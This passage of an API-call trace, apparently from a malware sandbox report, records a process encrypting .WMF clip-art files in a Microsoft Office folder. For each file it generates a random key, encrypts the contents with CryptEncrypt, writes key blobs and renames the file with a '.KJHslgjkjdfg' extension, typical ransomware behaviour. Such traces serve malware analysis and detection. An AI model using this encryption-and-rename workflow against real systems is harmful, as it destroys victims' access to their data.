ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0240189.WMF", cAlternateFileName="")) returned 1 [0199.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.776] GetProcessHeap () returned 0x990000 [0199.776] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.776] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.776] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0199.781] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.781] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.781] GetProcessHeap () returned 0x990000 [0199.781] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.781] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.781] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.781] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.781] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.781] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.781] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.782] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.782] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.782] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.782] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xdc4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xdc4, lpOverlapped=0x0) returned 1 [0199.782] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xdd0) returned 1 [0199.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.782] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xdd0, lpOverlapped=0x0) returned 1 [0199.782] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.782] SetEndOfFile (hFile=0x130) returned 1 [0199.785] GetProcessHeap () returned 0x990000 [0199.785] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.785] GetProcessHeap () returned 0x990000 [0199.785] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf.kjhslgjkjdfg")) returned 1 [0199.787] CloseHandle (hObject=0x130) returned 1 [0199.787] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1476, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0240291.WMF", cAlternateFileName="")) returned 1 [0199.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.790] GetProcessHeap () returned 0x990000 [0199.790] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.790] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.790] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0199.825] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.825] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.826] GetProcessHeap () returned 0x990000 [0199.826] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.826] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.826] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.826] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.826] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.826] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.826] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.826] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.826] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.826] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.827] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1476, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1476, lpOverlapped=0x0) returned 1 [0199.830] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1480, dwBufLen=0x1480 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1480) returned 1 [0199.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.830] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1480, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1480, lpOverlapped=0x0) returned 1 [0199.830] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.830] SetEndOfFile (hFile=0x130) returned 1 [0199.833] GetProcessHeap () returned 0x990000 [0199.833] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.833] GetProcessHeap () returned 0x990000 [0199.833] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf.kjhslgjkjdfg")) returned 1 [0199.835] CloseHandle (hObject=0x130) returned 1 [0199.835] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90da9400, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90da9400, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x92e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241019.WMF", cAlternateFileName="")) returned 1 [0199.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.837] GetProcessHeap () returned 0x990000 [0199.837] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.837] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.837] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0199.839] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.839] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.839] GetProcessHeap () returned 0x990000 [0199.839] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.840] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.840] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.840] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.840] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.840] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.840] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.840] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.840] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.840] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.840] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x92e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x92e, lpOverlapped=0x0) returned 1 [0199.840] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x930, dwBufLen=0x930 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x930) returned 1 [0199.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.841] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x930, lpOverlapped=0x0) returned 1 [0199.841] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.841] SetEndOfFile (hFile=0x130) returned 1 [0199.843] GetProcessHeap () returned 0x990000 [0199.844] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.844] GetProcessHeap () returned 0x990000 [0199.844] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf.kjhslgjkjdfg")) returned 1 [0199.845] CloseHandle (hObject=0x130) returned 1 [0199.845] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc65600, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9cc65600, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241037.WMF", cAlternateFileName="")) returned 1 [0199.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.846] GetProcessHeap () returned 0x990000 [0199.846] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.846] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.847] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0199.848] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.848] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.848] GetProcessHeap () returned 0x990000 [0199.848] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.848] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.848] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.848] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.848] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.848] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.848] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.849] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.849] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.849] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.849] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa4e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa4e, lpOverlapped=0x0) returned 1 [0199.849] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa50, dwBufLen=0xa50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa50) returned 1 [0199.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.849] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa50, lpOverlapped=0x0) returned 1 [0199.849] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.849] SetEndOfFile (hFile=0x130) returned 1 [0199.851] GetProcessHeap () returned 0x990000 [0199.851] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.851] GetProcessHeap () returned 0x990000 [0199.851] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf.kjhslgjkjdfg")) returned 1 [0199.853] CloseHandle (hObject=0x130) returned 1 [0199.853] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa059dd00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa059dd00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241041.WMF", cAlternateFileName="")) returned 1 [0199.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.854] GetProcessHeap () returned 0x990000 [0199.854] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.854] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.854] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0199.860] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.860] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, 